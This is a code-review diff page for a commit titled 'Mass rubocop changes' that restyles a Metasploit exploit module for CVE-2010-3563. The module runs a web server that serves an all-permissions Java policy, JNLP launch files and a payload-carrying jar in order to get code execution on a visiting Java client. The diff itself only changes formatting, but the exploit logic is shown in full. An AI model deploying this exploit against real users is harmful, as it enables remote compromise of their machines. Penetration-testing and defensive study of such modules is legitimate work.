Mass rubocop changes
This commit is contained in:
@@ -46,14 +46,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'Windows x86',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[
|
||||
'Generic (Java Payload)',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java',
|
||||
'Platform' => 'java'
|
||||
}
|
||||
],
|
||||
],
|
||||
@@ -73,13 +73,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
case request.uri
|
||||
when /java.security.policy/
|
||||
print_status("Checking with HEAD")
|
||||
ack = "OK"
|
||||
print_status('Checking with HEAD')
|
||||
ack = 'OK'
|
||||
send_response(cli, ack, { 'Content-Type' => 'application/x-java-jnlp-file' })
|
||||
|
||||
when /all.policy/
|
||||
all = "grant {permission java.security.AllPermission;};\n"
|
||||
print_status("Sending all.policy")
|
||||
print_status('Sending all.policy')
|
||||
send_response(cli, all, { 'Content-Type' => 'application/octet-stream' })
|
||||
|
||||
when /init.jnlp/
|
||||
@@ -92,7 +92,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
</application-desc>
|
||||
</jnlp>
|
||||
EOS
|
||||
print_status("Sending init.jnlp")
|
||||
print_status('Sending init.jnlp')
|
||||
send_response(cli, init, { 'Content-Type' => 'application/x-java-jnlp-file' })
|
||||
|
||||
when /exploit.jnlp/
|
||||
@@ -103,35 +103,35 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
<application-desc main-class="Exploit"/>
|
||||
</jnlp>
|
||||
EOS
|
||||
print_status("Sending exploit.jnlp")
|
||||
print_status('Sending exploit.jnlp')
|
||||
send_response(cli, expl, { 'Content-Type' => 'application/x-java-jnlp-file' })
|
||||
|
||||
when /\.jar$/i
|
||||
p = regenerate_payload(cli)
|
||||
paths = [
|
||||
[ "BasicServiceExploit.class" ],
|
||||
[ "Exploit.class" ],
|
||||
[ 'BasicServiceExploit.class' ],
|
||||
[ 'Exploit.class' ],
|
||||
]
|
||||
dir = [ Msf::Config.data_directory, "exploits", "cve-2010-3563" ]
|
||||
dir = [ Msf::Config.data_directory, 'exploits', 'cve-2010-3563' ]
|
||||
jar = p.encoded_jar
|
||||
jar.add_files(paths, dir)
|
||||
print_status("Sending Jar")
|
||||
send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })
|
||||
print_status('Sending Jar')
|
||||
send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' })
|
||||
handler(cli)
|
||||
|
||||
else
|
||||
print_status("Sending redirect to init.jnlp")
|
||||
send_redirect(cli, get_resource() + '/init.jnlp', '')
|
||||
print_status('Sending redirect to init.jnlp')
|
||||
send_redirect(cli, get_resource + '/init.jnlp', '')
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
def jnlp_info
|
||||
buf = <<-EOS
|
||||
<<-EOS
|
||||
<information>
|
||||
<title>#{Rex::Text.rand_text_alpha(rand(10) + 10)}</title>
|
||||
<vendor>#{Rex::Text.rand_text_alpha(rand(10) + 10)}</vendor>
|
||||
<description>#{Rex::Text.rand_text_alpha(rand(10) + 10)}</description>
|
||||
<title>#{Rex::Text.rand_text_alpha(rand(10..19))}</title>
|
||||
<vendor>#{Rex::Text.rand_text_alpha(rand(10..19))}</vendor>
|
||||
<description>#{Rex::Text.rand_text_alpha(rand(10..19))}</description>
|
||||
</information>
|
||||
<resources>
|
||||
<java version="1.6+"/>
|
||||
|
||||
Reference in New Issue
Block a user